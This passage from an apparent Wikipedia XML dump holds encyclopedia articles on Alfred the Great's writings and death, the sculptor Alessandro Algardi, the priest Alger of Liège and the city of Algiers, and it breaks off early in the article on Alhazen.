We come now to what is in many ways the most interesting of Alfred's works, his translation of ''[[Consolation of Philosophy|The Consolation of Philosophy]]'' of [[Anicius Manlius Severinus Boethius|Boethius]], the most popular philosophical handbook of the middle ages. Here again Alfred deals very freely with his original and though the late Dr. G. Schepss showed that many of the additions to the text are to be traced not to Alfred himself, but to the glosses and commentaries which he used, still there is much in the work which is solely Alfred's and highly characteristic of his genius. It is in the Boethius that the oft-quoted sentence occurs: &quot;My will was to live worthily as long as I lived, and after my life to leave to them that should come after, my memory in good works.&quot; The book has come down to us in two manuscripts only. In one of these the writing is prose, in the other alliterating verse. The authorship of the latter has been much disputed; but likely they also are by Alfred. In fact, he writes in the prelude that he first created a prose work and then used it as the basis for his poem, the [[Lays of Boethius]], his crowning literary achievement.  He spent a great deal of time working on these books, which he tells us he gradually wrote through the many stressful times of his reign to refresh his mind.  Of the authenticity of the work as a whole there has never been any doubt. 

The last of Alfred's works is one to which he gave the name ''Blostman,'' i.e., &quot;Blooms&quot; or Anthology. The first half is based mainly on the ''Soliloquies'' of St [[Augustine of Hippo]], the remainder is drawn from various sources, and contains much that is Alfred's own and highly characteristic of him. The last words of it may be quoted; they form a fitting epitaph for the noblest of English kings. &quot;Therefore he seems to me a very foolish man, and truly wretched, who will not increase his understanding while he is in the world, and ever wish and long to reach that endless life where all shall be made clear.&quot;

Beside these works of Alfred's, the Saxon Chronicle almost certainly, and a Saxon Martyrology, of which fragments only exist, probably owe their inspiration to him. A prose version of the first fifty [[Psalms]] has been attributed to him; and the attribution, though not proved, is perfectly possible.  Additionally, Alfred appears as a character in ''[[The Owl and the Nightingale]],'' where his wisdom and skill with proverbs is attested. Additionally, ''[[The Proverbs of Alfred]]'', which exists for us in a 13th century manuscript contains sayings that very likely have their origins partly with the king.

=== Death ===
Alfred died on [[26 October]] [[899]], though the year is uncertain &amp;mdash; but not [[900]] or [[901]] as were previously accepted. How he died is unknown. He was originally buried in the Old Minster, then moved to the New Minster, and then transferred to Hyde Abbey in the year 1110.

==Appearance in Culture==
In honour of Alfred, the [[University of Liverpool]] now has a [[King Alfred Chair of English Literature]].

[[Thomas Augustine Arne]]'s ''[[Masque of Alfred]]'' (known for &quot;[[Rule Britannia]]&quot;) was a [[masque]] about Alfred the Great (first public performance: [[1745]]).

[[G K Chesterton]]'s poetical epic ''[[The Ballad of the White Horse]]'' describes Alfred uniting the fragmented Kingdoms of Britain to chase the northern invaders away from the island. Like [[Shakespeare]]'s ''[[Henry V (play)|Henry V]]'', it deals with the theme of a divinely oriented leader waging physical and spiritual battle against a morally unjust enemy.

The [[historical fiction]] author [[Bernard Cornwell]] started, in the early 21st century, a retelling saga ''[[The Saxon Stories]]'' about Alfred's life and his struggle against the [[Vikings]]. A biography of Alfred by Justin Pollard was published in 2005.

Alfred was played by [[David Hemmings]] in the [[1969]] film ''Alfred the Great'', which co-starred [[Michael York (actor)|Michael York]] as Guthrum [http://www.imdb.com/title/tt0064000/].

[[Alfred University]], located in [[Alfred (village), New York|Alfred, NY]], is named after him.

== See also ==
* [[British military history]]
* [[University College, Oxford]]
* [[Kingdom of England]]
* [[Lays of Boethius]]
* [[Alfred Jewel]]

== External links ==
* [http://www.royal.gov.uk/output/Page25.asp Alfred the Great] from the [http://www.royal.gov.uk/ official website of the British Monarchy]
* [http://www.mirror.org/ken.roberts/king.alfred.html King Alfred the Great] and [http://www.mirror.org/ken.roberts/alfred.jewel.html Alfred Jewel] by [http://www.mirror.org/ken.roberts/ Ken Roberts]
* [http://rsparlourtricks.blogspot.com/2005/10/alfred-great.html Ron Schuler's Parlour Tricks: Alfred the Great]
* [http://en.wikisource.org/wiki/Lays_of_Boethius Lays of Boethius]

{{1911}}


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[[Category:840s births]]
[[Category:899 deaths]]
[[Category:History of Europe]]
[[Category:Anglo-Saxon monarchs]]
[[Category:West Saxon monarchs]]
[[Category:Viking Age]]
[[Category:University College, Oxford]]

[[ang:Ælfrēd se Grēata]]
[[cs:Alfréd Veliký]]
[[de:Alfred der Große]]
[[es:Alfredo el Grande]]
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[[fr:Alfred le Grand]]
[[he:אלפרד הגדול]]
[[lv:Alfreds Lielais]]
[[lb:Alfred de Groussen]]
[[nl:Alfred de Grote]]
[[ja:アルフレッド大王]]
[[no:Alfred av England]]
[[pl:Alfred Wielki]]
[[pt:Alfredo de Inglaterra]]
[[ru:Альфред Великий]]
[[fi:Alfred Suuri]]
[[sv:Alfred den store]]
[[uk:Альфред Великий]]</text>
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  </page>
  <page>
    <title>Alfred Ernest Albert</title>
    <id>1641</id>
    <revision>
      <id>15900108</id>
      <timestamp>2004-12-17T22:44:08Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT: [[Alfred, Duke of Saxe-Coburg and Gotha]]</text>
    </revision>
  </page>
  <page>
    <title>Alessandro Algardi</title>
    <id>1642</id>
    <revision>
      <id>38155460</id>
      <timestamp>2006-02-04T15:46:59Z</timestamp>
      <contributor>
        <username>Pietro</username>
        <id>19883</id>
      </contributor>
      <comment>it:</comment>
      <text xml:space="preserve">'''Alessandro Algardi''' (Bologna [[July 31]],[[1598]] &amp;ndash; Rome, [[June 10]], [[1654]]), is mainly known as an [[Italy|Italian]] [[Baroque]] [[Sculpture|sculptor]], the major rival of [[Bernini]] in the field and an outstanding draughtsman. His role as an architect rests largely on his designs for the [[Villa Doria Pamphili]], Rome (1644&amp;ndash1652) and its extensive fountains and other garden features, where much of his free-standing sculpture and bas-reliefs also remain, and for the architectonic features of his sculptural setpieces.

While apprenticed in the Bolognese atelier of [[Agostino Carracci]], Algardi's aptitude for sculpture led him to work for the sculptor [[Giulio Cesare Conventi]] (1577&amp;ndash;1640). At the age of twenty he was brought to the notice of [[Duke of Mantua|Ferdinando I, Duke of Mantua]], who gave him several commissions, which gave the young sculptor a chance to immerse himself in one of the greatand exposed the young sculptor a chance to see his large collections of Roman antiquities and sculpture. He was also much employed about the same period by goldsmiths, modelling for them in ivory and making wax ''modelli'' for casting in gold and silver.

After a short residence in [[Venice]], he went to [[Rome]] in 1625 with an introduction from the Duke of Mantua to the [[Pope Gregory XV|late pope's]] nephew, [[Ludovico Cardinal Ludovisi]], who employed him for a time in the restoration of ancient statues, which still form the core of the Bonacorsi-Ludovisi collection in [[Palazzo Altemps]]. . [[Gian Lorenzo Bernini]], in the first flush of his fame, had the pick of the best available commissions in Rome, and the duke's death left Algardi to his own meagre resources, and for several years he earned a precarious living from these restorations and commissions of goldsmiths and jewellers.  His friends included his fellow Bolognese, [[Domenichino]] and [[Pietro da Cortona]], and his early Roman commissions included terracotta portrait busts, while he supported himself with small works like crucifixes. 

For [[Pietro Buoncompagni]] in 1640, Algardi created his first major public work in marble, a colossal statue of [[Philip Neri]], with kneeling angels. Immediately after this, he produced a similar group, representing the beheading of [[Paul of Tarsus|Saint Paul]] in two figures, of the kneeling saint and the executioner poised to strike the sword-blow, for [[San Paolo Maggiore]], the church of the Barnabite Fathers in Bologna. These proficient works expressed Baroque dramatic attitudes and immediacy of expression, at once established Algardi's reputation, and other commissions quickly followed.

==Algardi Gains Papal Favor with the Ascent of Innocent X==
For two decades Bernini had dominated the most prominent commissions in Rome, however,with the accession of the Bolognese [[Pamphilj]] [[Pope Innocent X]][http://www.scultura-italiana.com/Galleria/Algardi%20Alessandro/imagepages/image17.html (bust)],[http://members.tripod.com/romeartlover/Juv34.html (coat of arms)]in 1644, Algardi was employed by the Pope and the pope's nephew, [[Camillo Pamphilj]].[http://www.scultura-italiana.com/Galleria/Algardi%20Alessandro/imagepages/image2.html (bust, Hermitage)]For example, he was asked to  design the [[Villa Doria Pamphili]] outside the San Pancrazio gate, a project in which he depended on the professional aid of the architect/engineer [[Girolamo Rainaldi]], while Algardi and his studio executed the sculpture-encrusted exteriors and interiors His portrait bust of Camillo Pamphili is at The [[Hermitage Museum]]. A church façade sometimes attributed to Algardi is that of Sant' Ignazio di Loyola in Campo Marzio. In [[1650]] Algardi met [[Diego Velasquez]], who obtained commissions for Spain. There are four chimneypieces by Algardi in the palace of [[Aranjuez]], where the figures on the fountain of [[Neptune (god)|Neptune]] were also by him. The Augustine monastery at [[Salamanca]] contains the tomb of the count and countess de Monterey, another work by Algardi.

==Relief of ''Fuga d'Attila'' in St. Peter's Basilica==
Algardi's masterpiece is the large dramatic marble high-relief panel of Pope Leo and Attila [http://www.wga.hu/frames-e.html?/html/a/algardi/2/meeting.html (image)](1646&amp;ndash;53) for [[St Peter's Basilica]], which reinvigorated the use of marble in reliefs. There had been large marble reliefs used previously, for example Gianlorenzo's father, [[Pietro Bernini]]'s crowded ''Assumption of the Virgin'' for [[Santa Maria Maggiore]](1606); but for most patrons, it was far too costly to use sculpted marble for such a large display as an altarpiece. In this relief, the two theatrically contrasted principal figures, the stern and courageous pope and the dismayed and frightened Attila, surge and protrude from the center. Only these two see the descending angelic warriers rallying to the pope's defense, while all others persist in the background reliefs, peforming respective earthly duties. The subject was apt for a papal state seeking  clout, since it depicts the legendary moment when the greatest of Pope Leos, with supernatural aide, had deterred the Huns from looting Rome. From a baroque standpoint it is a moment of divine intervention in the affairs of man. Algardi's patron Leo XI hoped all viewers would be sternly reminded of the papal capacity to invoke divine retribution against enemies. Algardi died within a year of completing his famous relief, which was admired by contemporaries.

==Critical Assessment and Legacy==    
Algardi was also known for his portraiture which shows an obsessive attention to details of psychologically revealing physiognomy in a sober but immediate naturalism, and minute attention to costume and draperies, such as in the busts of Laudivio Zacchia, Camillo Pamphilj, and Muzio Frangipane and his two sons Lello and Roberto [http://www.romeartlover.it/Algardi.html]. There is also a bronze statue of Innocent X for the ''Palazzo dei Conservatori'' in the [[Campidoglio]]. In St. Peter's Basilica, Algardi was also responsible for the prominent tomb of [[Leo XI]] (completed 1644). In temperament, his style was more akin to the classicized and restrained [[Baroque]] of [[François Duquesnoy]] than to the emotive works of Bernini. From an artistic point of view, he was most successful in portrait-statues and groups of children, where he was obliged to follow nature most closely. His terracotta models, some of them finished works of art, were prized by connoisseur collectors: an outstanding series of them is at the [[Hermitage Museum]], [[Saint Petersburg]]. 

In his later years Algardi controlled a large studio and amassed a great fortune. His students (including [[Ercole Ferrata]] and [[Domenico Guidi]]) and their followers carried forward their versions of  Algardi's classicizing bravura manner well into the 18th century.
The latter two sudents completed his altarpiece at ''Vision of Saint Nicholas'' (San Nicola de Tolentino, Rome) using two separate marble pieces linked together in one event and place, yet successfully separating the divine and earthly spheres.

==Some major sculptures==
*''Saint Mary Magdalen'' (1629,)
*''Saint Philip Neri'' (1636-38,)
*''The beheading of Saint Paul''



The standard modern monograph is Jennifer Montagu, 1985. ''Alessandro Algardi'' (Yale University Press) ISBN  0-300-03173-4

==External links==
*[http://www.artnet.com/library/00/0017/T001772.asp Artnet Resource Library:] Alessandro Algardi
*[http://54.1911encyclopedia.org/A/AL/ALGARDI_ALESSANDRO.htm ''Encyclopaedia Britannica'' 1911:] Alessandro Algardi
*[http://gallery.euroweb.hu/html/a/algardi/ Web Gallery of Art:] Algardi, sculptures
*[http://www.iht.com/articles/1999/03/20/algardi.2.t.php Roderick Conway-Morris, &quot;Casting light on a Baroque sculptor&quot;], ''International Herald Tribune'', March 20, 1999: Review of exhibition &quot;Algardi: The Other Face of the Baroque,&quot;, 1999
*[http://www.getty.edu/art/collections/objects/o453.html A landscape pen-and-ink drawing by Giovanni Francesco Grimaldi, c 1650, to which Algardi has added figures of the Holy Family (Getty Museum)]
*[http://www.scultura-italiana.com/Galleria/Algardi%20Alessandro/ Images of nearly all works]

[[Category:1598 births|Algardi, Alessandro]]
[[Category:1654 deaths|Algardi, Alessandro]]
[[Category:Italian sculptors|Algardi, Alessandro]]

[[de:Alessandro Algardi]]
[[es:Alessandro Algardi]]
[[fr:Alessandro Algardi]]
[[gl:Alessandro Algardi]]
[[it:Alessandro Algardi]]
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[[sv:Alessandro Algardi]]</text>
    </revision>
  </page>
  <page>
    <title>Alger of Liège</title>
    <id>1643</id>
    <revision>
      <id>33048155</id>
      <timestamp>2005-12-28T22:40:26Z</timestamp>
      <contributor>
        <username>JASpencer</username>
        <id>11096</id>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">'''Alger of Liège''' ([[1055]]-[[1131]]), known also as Alger of Cluny and Algerus Magister, a learned [[France|French]] [[priest]] who lived in the first half of the [[12th century]].

He was first a [[deacon]] of the church of St Bartholomew at [[Liège (city)|Liège]], his native town, and was then appointed (c. 1100) to the cathedral church of [[Saint Lambert (martyr)|Saint Lambert]]. He declined many offers from German bishops and finally retired to the monastery of [[Cluny]], where he died  at great age and leaving a good reputation for piety and intelligence.

His History of the Church of Liège, and many of his other works, are lost. The most important of those still extant are: 1. ''De Misericordia et Justitia'', a collection of biblical and patristic extracts with a commentary (an important work for the history of church law and discipline), which is to be found in the Anecdota of Martene, vol. v. 2. ''De Sacramentis Corporis et Sanguinis Domini''; a treatise, in three books, against the Berengarian heresy, highly commended by [[Peter of Cluny]] and 
[[Erasmus]]. 3. ''De Gratia et Libero Arbitrio''; given in B. Pez's ''Anecdota'', vol. iv. 4. ''De Sacrificio Missae''; given in the ''Collectio Scriptor. Vet.'' of Angelo Mai, vol. ix. p. 371. 

See [[Jacques Paul Migne|Migne]], ''[[Patrologia Latina|Patrol Ser. Lat.]]'' vol. clxxx. pp. 739-.972; Herzog-Hauck, ''Realencyk. für prot. Theol.,'' art. by S. M. Deutsch. 

==References==
*{{1911}}
*[http://www.newadvent.org/cathen/01310c.htm Catholic Encyclopedia article]

[[Category:Roman Catholic priests]]
[[Category:1055 births|Alger of Liège]]
[[Category:1131 deaths|Alger of Liège]]

[[wa:Ådjî d' Lidje]]</text>
    </revision>
  </page>
  <page>
    <title>Algiers</title>
    <id>1644</id>
    <revision>
      <id>40849621</id>
      <timestamp>2006-02-23T11:57:21Z</timestamp>
      <contributor>
        <ip>161.74.11.24</ip>
      </contributor>
      <comment>/* History */ style</comment>
      <text xml:space="preserve">{{Otheruses}}

[[Image:Algeria-Alger.png|frame|right|Map of Algeria showing Algiers province]]
[[Image:Algiersnasa.jpg|left|250px|Algiers from space]]

'''Algiers''' ([[Arabic language|Arabic]]: '''ولاية الجزائر''') ''El-Jazair'', The Islands) is the capital and largest city of [[Algeria]] in [[North Africa]]. According to the [[1998]] census, the population of the city proper was 1,519,570 whilst the total for the [[agglomeration]] was 2,135,630. Nicknamed ''El-Bahdja'' (البهجة) or ''Alger la Blanche'' (&quot;Algiers the White&quot;) for the glistening white of its buildings as seen sloping up from the sea, it is situated on the west side of a bay of the [[Mediterranean Sea]]. The city name is derived from its location on the slopes of the &quot;[[Sahel]]&quot;, a chain of hills parallel to the coast. Its geographical co-ordinates are: {{coor dm|36|47|N|3|4|E|}}.

The modern part of the city is built on the level ground by the seashore and the old part, the ancient city of the [[dey]]s, climbs the steep hill behind the modern town and is crowned by the [[casbah]] or citadel, 400 feet above the sea.  The casbah and the two quays form a triangle.

==History==
[[Image:Algiers CNE-v1-p58-J.jpg|thumb|300px|right|City and harbour of Algiers, circa 1921]]

A [[Phoenicia|Phoenician]] commercial outpost called ''Ikosim'', turned into a [[Ancient Rome|Roman]] small town called [[Icosium]], existed on what is now the marine quarter of the city. The ''rue de la Marine'' follows the lines of a Roman street. Roman cemeteries existed near ''[[Bab-el-Oued]]'' and ''[[Bab Azoun]]''. The city was given [[Latin]] rights by [[Vespasian]]. The [[bishop]]s of Icosium are mentioned as late as the [[5th century]].

The present city was founded in [[944]] by [[Buluggin ibn Ziri]], the founder of the [[Zirid]]-[[Senhaja]] dynasty, which was overthrown by [[Roger II of Sicily]] in [[1148]]. The [[Zirid]]s had before that date lost Algiers, which in [[1159]] was occupied by the [[Almohades]], and in the [[13th century]] came under the dominion of the Abd-el-Wadid sultans of [[Tlemcen]].

Nominally part of the sultanate of [[Tlemcen]], Algiers had a large measure of independence under [[amir]]s of its own, [[Oran]] being the chief seaport of the Abd-el-Wahid. The islet in front of the harbour, subsequently known as the Penon, had been occupied by the Spaniards as early as [[1302]]. Thereafter a considerable trade grew up between Algiers and [[Spain]]. 

Algiers, however, continued to be of comparatively little importance until after the expulsion from Spain of the [[Moors]], many of whom sought an asylum in the city. In [[1510]], following their occupation of Oran and other towns on the coast of [[Africa]], the Spaniards fortified the Penon. In [[1516]] the amir of Algiers, Selim b. Teumi, invited the brothers Arouj and Khair-ad-Din ([[Khair ad Din|Barbarossa]]) to expel the Spaniards. Arouj came to Algiers, caused Selim to be assassinated, and seized the town. Khair-ad-Din, succeeding Arouj, drove the Spaniards from the Penon ([[1550]]) and was the founder of the ''pashalik'', afterwards ''deylik'', of Algeria.

[[Image:Sm Bombardment of Algiers, August 1816-Luny.jpg|thumb|right|300px|The bombardment of Algiers by Lord Exmouth, August 1816, painted by Thomas Luny]]

Algiers from this time became the chief seat of the [[Barbary pirates]]. In October [[1541]] the emperor [[Charles V, Holy Roman Emperor|Charles V]] sought to capture the city, but a storm destroyed a great number of his ships, and his army of some 30,000, chiefly Spaniards, was defeated by the Algerians under their [[pasha]], Hassan. From the 17th century, Algiers, free of [[Ottoman Empire|Ottoman]] control and sited on the periphery of both the Ottoman and European economic spheres, and depending for its existence on a Mediterranean that was increasingly controlled by European shipping, backed by European navies, turned to piracy and ransoming. Repeated attempts were made by various nations to subdue the pirates that disturbed shipping in the western Mediterranean and engaged in slave raids as far north as Cornwall. The [[United States]] fought two wars (The [[First Barabary War|First]] and [[Second Barabary War|Second]] [[Barbary Wars]]) over Algiers' attacks on shipping. 

In [[1816]] the city was bombarded by a British squadron under [[Edward Pellew, 1st Viscount Exmouth|Lord Exmouth]] (a descendant of Thomas Pellew, taken in an Algierian slave raid in [[1715]]), assisted by [[Netherlands|Dutch]] men-of-war, and the corsair fleet burned. On the 4th of July in [[1830]], on the pretext of an affront to their consul - whom the [[dey]] had hit with a fly-whisk when he said the French government was not prepared to pay its large outstanding debts to two Algerian Jewish merchants - a French army under [[Louis-Auguste-Victor, Count de Ghaisnes de Bourmont|General de Bourmont]] attacked the city, which capitulated on the following day.

The history of Algiers from [[1830]] to [[1962]] is bound to the larger history of [[Algeria]] and its relationship to [[France]].

In [[1962]], after a bloody independence struggle in which hundreds of thousands of Algerians died (a million according to official Algerian history) at the hands of the French army and the Algerian [[Front de Libération Nationale]], Algeria finally gained its independence, with Algiers as its capital. Since then, despite losing its entire European or [[Pied-noir]] population, the city has expanded massively - it now has 3 million inhabitants, or 10% of Algeria's population - and its suburbs now cover most of the surrounding [[Metidja]] plain.
[[Image:Algernuit.jpg|thumb|300px|right|Algiers by night]]

* Algiers is hosting the [[2007 All-Africa Games]] for the 2nd time, they hosted the event in [[1978 All-Africa Games|1978.]]

== Local architecture ==

There are many public buildings of interest, including the whole [[casbah]] quarter, Martyrs Square (''Sahat ech-Chouhada'' ساحة الشهداء), the government offices (formerly the [[United Kingdom|British]] consulate), the &quot;Grand&quot;, &quot;New&quot;, and Ketchaoua [[Mosque]]s, the [[Roman Catholic]] cathedral of [[Notre Dame d'Afrique]], the [[Bardo Museum]] (a former Turkish mansion), the old ''Bibliotheque Nationale d'Alger'' - a [[Turkey|Turkish]] palace built in [[1799]]-[[1800]] - and the new National Library, built in a style reminiscent of the [[British Library]].

The main building in the [[casbah]] was begun in [[1516]] on the site of an older building, and served as the palace of the deys until the [[France|French]] conquest. A road has been cut through the centre of the building, the mosque turned into [[barracks]], and the hall of audience allowed to fall into ruin. There still remain a [[minaret]] and some marble arches and columns. Traces exist of the vaults in which were stored the treasures of the dey.

The Grand Mosque (''Jamaa-el-Kebir'' الجامع الكبير) is traditionally said to be the oldest mosque in Algiers. The pulpit (''[[minbar]]'' منبر) bears an inscription showing that the building existed in [[1018]]. The minaret was built by [[Abu Tachfin]], sultan of [[Tlemcen]], in [[1324]]. The interior of the mosque is square and is divided into aisles by columns joined by [[Moors|Moorish]] arches.
[[Image:New Mosque (Jamaa el-Jedid) in Algiers 04968r.jpg|thumb|right|350px|The New Mosque (Jamaa el-Jedid) in Algiers - late 1800's]]
[[Image:bfc_algiers_synagogue_02_02w.jpg|frame|Algiers. Stone synagogue. Photo early 1900's.
[http://www.bfcollection.net/cities/algeria/algiers.html Boris Feldblyum Collection]]]

The New Mosque (''Jamaa-el-Jedid'' الجامع الجديد), dating from the [[17th century]], is in the form of a [[Greek cross]], surmounted by a large white cupola, with four small cupolas at the corners. The minaret is 90 ft. high. The interior resembles that of the Grand Mosque.

The church of the Holy Trinity (built in [[1870]]) stands at the southern end of the ''rue d'Isly'' near the site of the demolished Fort Bab Azoun باب عزون. The interior is richly decorated with various coloured marbles. Many of these marbles contain memorial inscriptions relating to the English residents (voluntary and involuntary) of Algiers from the time of John Tipton, British consul in [[1580]]. One tablet records that in [[1631]] two Algerine pirate crews landed in [[Ireland]], sacked [[Baltimore, County Cork|Baltimore]], and carried off its inhabitants to slavery; another recalls the romantic escape of Ida M`Donnell, daughter of Admiral Ulric, consul-general of [[Denmark]], and wife of the British consul.  When Lord Exmouth was about to bombard the city in [[1816]], the British consul was thrown into prison and loaded with chains. Mrs M`Donnell - who was but sixteen - escaped to the British fleet disguised as a midshipman, carrying a basket of vegetables in which her baby was hidden. (Mrs M`Donnell subsequently married the duc de Talleyrand-Perigord and died at [[Florence]] in [[1880]]). Among later residents commemorated is Edward Lloyd, who was the first person to show the value of [[esparto]] grass for the manufacture of paper, and thus started an industry which is one of the most important in Algeria.

The Ketchaoua mosque (''Djamaa Ketchaoua'' جامع كتشاوة), at the foot of the Casbah, was before independence in [[1962]] the cathedral of St Philippe, itself made in [[1845]] from a mosque dating from 1612. The principal entrance, reached by a flight of 23 steps, is ornamented with a [[portico]] supported by four black-veined marble columns. The roof of the nave is of [[Moorish Empire|Moorish]] [[plaster]] work. It rests on a series of arcades supported by white marble columns. Several of these columns belonged to the original mosque. In one of the chapels was a tomb containing the bones of [[San Geronimo]]. The building seems a curious blend of Moorish and [[Byzantine Empire|Byzantine]] styles.

Algiers possesses a college with schools of law, medicine, science and letters. The college buildings are large and handsome. The [[Bardo]] museum holds some of the ancient sculptures and mosaics discovered in Algeria, together with medals and Algerian money.

The port of Algiers is sheltered from all winds. There are two harbours, both artificial - the old or northern harbour and the southern or Agha harbour. The northern harbour covers an area of 235 acres (950,000 m&amp;sup2;). An opening in the south [[jetty]] affords an entrance into Agha harbour, constructed in Agha Bay. Agha harbour has also an independent entrance on its southern side.

The inner harbour was begun in [[1518]] by Khair-ad-Din [[Khair ad Din|Barbarossa]] (see History, below), who, to accommodate his pirate vessels, caused the island on which was Fort Penon to be connected with the mainland by a [[mole (architecture)|mole]]. The lighthouse which occupies the site of Fort Penon was built in [[1544]].

Algiers was a walled city from the time of the deys until the close of the 19th century. The French, after their occupation of the city ([[1830]]), built a [[rampart]], [[parapet]] and [[ditch]], with two terminal forts, [[Bab Azoun]] باب عزون to the south and [[Bab-el-Oued]] باب الواد to the north. The forts and part of the ramparts were demolished at the beginning of the [[20th century]], when a line of forts occupying the heights of [[Bouzareah]] بوزريعة (at an elevation of 1300 ft. above the sea) took their place.

Notre-Dame d'Afrique, a church built ([[1858]]-[[1872]]) in a mixture of the [[Roman Empire|Roman]] and [[Byzantine Empire|Byzantine]] styles, is conspicuously situated, overlooking the sea, on the shoulder of the [[Bouzareah]] hills, 2 m. to the north of the city. Above the altar is a statue of the [[Mary, the mother of Jesus|Virgin]] depicted as a black woman. The church also contains a solid silver statue of the [[archangel Michael]], belonging to the confraternity of [[Naples|Neapolitan]] fishermen.

Villa Abd-el-Tif, former residence of the [[dey]], was used during the French period, to accommodate French artists, chiefly painters, and winners of the [[Abd-el-Tif prize]], for a while of two years. Nowadays, Algerian artists are back in the villa's studios.

[[Image:Houbel.JPG|thumb|400px| the Monument of the Martyrs(Maquam E’chahid).]]

==References==
*{{1911}}

== See also ==
* [[List of Pasha and Dey of Algiers]]

==External links==
{{Commons|Algiers|Algiers}}
* [http://www.bfcollection.net/cities/algeria/algiers.html Historic images of Algiers]
* [http://www.samasafia.dz/carte%20d'alger.gif Map of Algiers]

{{Algeria}}

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[[Category:Coastal cities]]
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[[Category:Algiers| ]]

[[ar:ولاية الجزائر]]
[[bg:Алжир (град)]]
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[[zh:阿爾及爾]]</text>
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  </page>
  <page>
    <title>Alhazen</title>
    <id>1645</id>
    <revision>
      <id>41211710</id>
      <timestamp>2006-02-25T20:42:04Z</timestamp>
      <contributor>
        <username>MB</username>
        <id>510460</id>
      </contributor>
      <comment>Alhazen was no Persian, we need to contact an Admin to stand on these acts of distortions by propagandists</comment>
      <text xml:space="preserve">'''Alhazen Abu Ali al-Hasan Ibn Al-Haitham''' (also: '''Ibn al Haythen''') ([[965]]-[[1040]]) ([[Arabic language|Arabic]]: أبو علي الحسن بن الهيثم) was an [[Arabian]] [[mathematician]]; he is sometimes called '''al-Basri''' (Arabic: البصري), after his birthplace [[Basrah]], [[Iraq]].

&lt;!-- Image with unknown copyright status removed: [[Image:Alhazen.jpg|thumb|right|250px|Portrait of Alhazen]] --&gt;

==Life==
Alhazen was born at [[Basra]], then part of the Islamic(Abbasid) [[Caliphate]], now part of [[Iraq]] (See [http://www-gap.dcs.st-and.ac.uk/~history/Mathematicians/Al-Haytham.html] and [http://www.answers.com/topic/alhazen]), and probably died in [[Cairo]], [[Egypt]]. 

One account of his career has him summoned to [[Egypt]] by the mercurial [[caliph]] [[al-Hakim bi-Amr Allah|Hakim]] to regulate the [[flooding]] of the [[Nile]]. After his field work made him aware of the impracticality of this scheme, and fearing the caliph's anger, he [[feigned madness]]. He was kept under house arrest until Hakim's death in [[1021]]. During this time he wrote scores of important mathematical treatises.

Abu Ali Hasan Ibn al-Haitham was one of the most eminent physicists, whose contributions to optics and the scientific methods are outstanding. Known in the West as Alhazen, Ibn aI-Hautham was born in [[965]] A. D. in [[Basrah]], and was educated in Basrah and [[Baghdad]]. Thereafter, he went to Egypt, where he was asked to find ways of controlling the flood of the [[Nile]]. Being unsuccessful in this, he feigned madness until the death of [[Caliph]] al-Hakim. He also traveled to [[Spain]] and, during this period, he had ample time for his scientific pursuits, which included optics, mathematics, physics, medicine and development of scientific methods on each of which he has left several outstanding books. 

He made a thorough examination of the passage of light through various media and discovered the laws of [[refraction]]. He also carried out the first experiments on the dispersion of light into its constituent [[colors]]. His book Kitab-at-Manazir was translated into [[Latin]] in the [[Middle Ages]], as also his book dealing with the colors of sunset. He dealt at length with the theory of various physical phenomena like [[shadows]], [[eclipse]]s, the [[rainbow]], and speculated on the physical nature of light. He is the first to describe accurately the various parts of the [[eye]] and give a scientific explanation of the process of [[visual perception|vision]]. He also attempted to explain [[binocular vision]], and gave a correct explanation of the apparent increase in size of the [[sun]] and the [[moon]] when near the horizon. He is known for the earliest use of the [[camera obscura]]. He contradicted [[Ptolemy]]'s and [[Euclid]]'s theory of vision that objects are seen by rays of light emanating from the eyes; according to him the rays originate in the object of vision and not in the eye. Through these extensive researches on optics, he has been considered as the [[List_of_people_known_as_the_father_or_mother_of_something|father of modern optics]]. 

The Latin translation of his main work, Kitab-at-Manazir, exerted a great influence upon Western science e.g. on the work of [[Roger Bacon]] and [[Johannes Kepler|Kepler]]. It brought about a great progress in experimental methods. His research in [[catoptrics]] centered on spherical and parabolic mirrors and spherical aberration. He made the important observation that the ratio between the [[angle of incidence]] and [[refraction]] does not remain constant and investigated the [[magnification|magnifying]] power of a [[lens (optics)|lens]]. His catoptrics contain the important problem known as [[Alhazen's problem]]. It comprises drawing lines from two points in the plane of a circle meeting at a point on the [[circumference]] and making equal angles with the normal at that point. This leads to an equation of the fourth degree. 

In his book Mizan al-Hikmah Ibn al-Haitham has discussed the [[density]] of the [[Earth's atmosphere|atmosphere]] and developed a relation between it and the height. He also studied atmospheric refraction. He discovered that the [[twilight]] only ceases or begins when the sun is 19° below the horizon and attempted to measure the height of the atmosphere on that basis. He has also discussed the theories of attraction between [[mass|masses]], and it seems that he was aware of the magnitude of acceleration due to [[gravity]]. 

His contribution to mathematics and physics was extensive. In mathematics, he developed analytical [[geometry]] by establishing linkage between [[algebra]] and geometry. He studied the mechanics of motion of a body and was the first to maintain that a body moves [[perpetual motion|perpetually]] unless an external force stops it or changes its direction of motion. This would seem equivalent to the [[first law of motion]]. 

The list of his books runs to 200 or so, very few of which have survived. Even his monumental treatise on optics survived through its Latin translation. During the Middle Ages his books on [[cosmology]] were translated into Latin, [[Hebrew language|
Hebrew]] and other languages. He has also written on the subject of [[evolution]] a book that deserves serious attention even today. 

In his writing, one can see a clear development of the scientific methods as developed and applied by the Muslims and comprising the systematic observation of physical phenomena and their linking together into a scientific theory. This was a major breakthrough in scientific methodology, as distinct from guess and gesture, and placed scientific pursuits on a sound foundation comprising systematic relationship between observation, [[hypothesis]] and verification. 

Ibn al-Haitham's influence on physical sciences in general, and optics in particular, has been held in high esteem and, in fact, it ushered in a new era in optical research, both in theory and practice.

Alhazen is also featured on the obverse of the Iraqi 10,000 Dinars banknote issued in 2003.

==Works==
Alhazen was a pioneer in [[optics]], [[engineering]] and [[astronomy]]. According to [[Giambattista della Porta]], Alhazen was the first to explain the apparent increase in the size of the moon and sun when near the horizon, although [[Roger Bacon]] gives the credit of this discovery to [[Ptolemy]]. Alhazen also taught that vision does not result from the emission of rays from the eye, and wrote on the [[refraction]] of light, especially on atmospheric refraction, for example, the cause of morning and evening twilight. He solved the problem of finding the point on a [[convex]] [[mirror]] at which a ray coming from one point is reflected to another point.

Alhazen's extensive writings influenced many Western intellectuals such as Roger Bacon, [[John Pecham]], [[Witelo]], and [[Johannes Kepler]].

===''Optics''===

